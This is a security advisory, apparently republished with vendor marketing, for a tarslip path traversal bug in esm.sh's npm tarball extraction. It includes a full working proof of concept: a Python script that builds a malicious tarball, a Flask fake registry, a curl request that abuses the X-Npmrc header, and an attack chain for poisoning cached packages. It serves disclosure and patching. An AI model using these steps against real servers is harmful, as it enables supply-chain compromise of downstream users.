GHSA-h3mw-4f23-gwpw
HIGHesm.sh CDN service has arbitrary file write via tarslip
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/esm-dev/esm.shReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js).
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.
Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry.
By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.
Details
file: server/npmrc.go
line: 552-567
func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
pkgDir := path.Join(installDir, "node_modules", pkgName)
tr := tar.NewReader(unziped)
for {
h, err := tr.Next()
// ...
// Strip tarball root directory
_, name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil"
filename := path.Join(pkgDir, name) // ← No validation
if h.Typeflag != tar.TypeReg {
continue
}
// Extension filtering
extname := path.Ext(filename)
if !(extname != "" && (allowed_extensions)) {
continue // Only extract .js, .css, .json, etc.
}
ensureDir(path.Dir(filename))
f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
// ← File created without path validation!
// ...
}
}
The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.
pkgDir: /esm/npm/[email protected]/node_modules/evil-pkg
name: ../../../../../../tmp/pyozzi.js
result: /esm/npm/[email protected]/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
→ /tmp/pyozzi.js (path traversal)
PoC
Test On
- esm.sh Official Docker Image (latest version)
- python 3.11
- flask (for attacker registry server)
Step 1. Create Malicious tarball file
#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""
import tarfile
import io,os
import json
from datetime import datetime
def create_malicious_tarball(package_name="test-tarslip"):
# PoC file Content
poc_payload = b"""// Path Traversal PoC
// This file was created via tarslip attack
// Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: %s');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: '%s'
};
""" % (package_name.encode(), package_name.encode())
files = {
"package/index.js": b"module.exports = { version: '1.0.0', test: true };",
"package/package.json": json.dumps({
"name": package_name,
"version": "1.0.0",
"description": "Test package for security research",
"main": "index.js",
"keywords": ["test", "security", "research"],
"author": "Security Researcher",
"license": "MIT"
}, indent=2).encode(),
"package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
}
# Create Tarball
tarball_name = f"{package_name}-1.0.0.tgz"
print("Creating tarball with payloads:")
print()
with tarfile.open(tarball_name, "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o755
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print(f"File: {tarball_name}")
print(f"Size: {os.path.getsize(tarball_name)} bytes")
# Check Tarball Content
print("Tarball contents:")
with tarfile.open(tarball_name, "r:gz") as tar:
for member in tar.getmembers():
marker = ">> " if "../" in member.name else " "
mode = oct(member.mode)[-3:]
print(f"{marker}{member.name} (mode: {mode})")
if __name__ == '__main__':
create_malicious_tarball()
output:
$ python create_tarball.py
Creating tarball with payloads:
File: test-tarslip-1.0.0.tgz
Size: 545 bytes
Tarball contents:
package/index.js (mode: 755)
package/package.json (mode: 755)
>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name": package,
"versions": {
"1.0.0": {
"name": package,
"version": "1.0.0",
"dist": {
"tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
}
}
},
"dist-tags": {"latest": "1.0.0"}
})
@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py
Step 3. Request Malicious Package with X-Npmrc Header
curl "http://localhost:8080/[email protected]" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Path Traversal
docker exec esm-test cat /tmp/pyozzi.js
# ouput:
// Path Traversal PoC
// This file was created via tarslip attack
// Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: test-tarslip');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: 'test-tarslip'
};
...
Impact
This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.
Attack Chain:
- Attacker identifies popular packages and their cached build file locations via API enumeration
- Uses path traversal to overwrite cached build files (e.g.,
/esm/storage/modules/[email protected]/es2022/react.mjs) - Injects malicious code into the build files
- Any application importing these packages receives the backdoored version
- Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)
Impact Scale:
- Affects all downstream users of compromised packages
- Can target specific frameworks (React, Vue, etc.) used by thousands of applications
- Enables XSS in browsers, RCE in Electron applications
- Difficult to detect as traffic appears legitimate
Patch
- Path validation is required when unpacking a tar file.
X-Npmrcwhitelist logic is required.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/esm-dev/esm.sh | all versions | 0.0.0-20251117232647-9d77b88c3207 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/esm-dev/esm.sh to 0.0.0-20251117232647-9d77b88c3207 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h3mw-4f23-gwpw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h3mw-4f23-gwpw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h3mw-4f23-gwpw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h3mw-4f23-gwpw in your dependencies?
O3 detects GHSA-h3mw-4f23-gwpw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.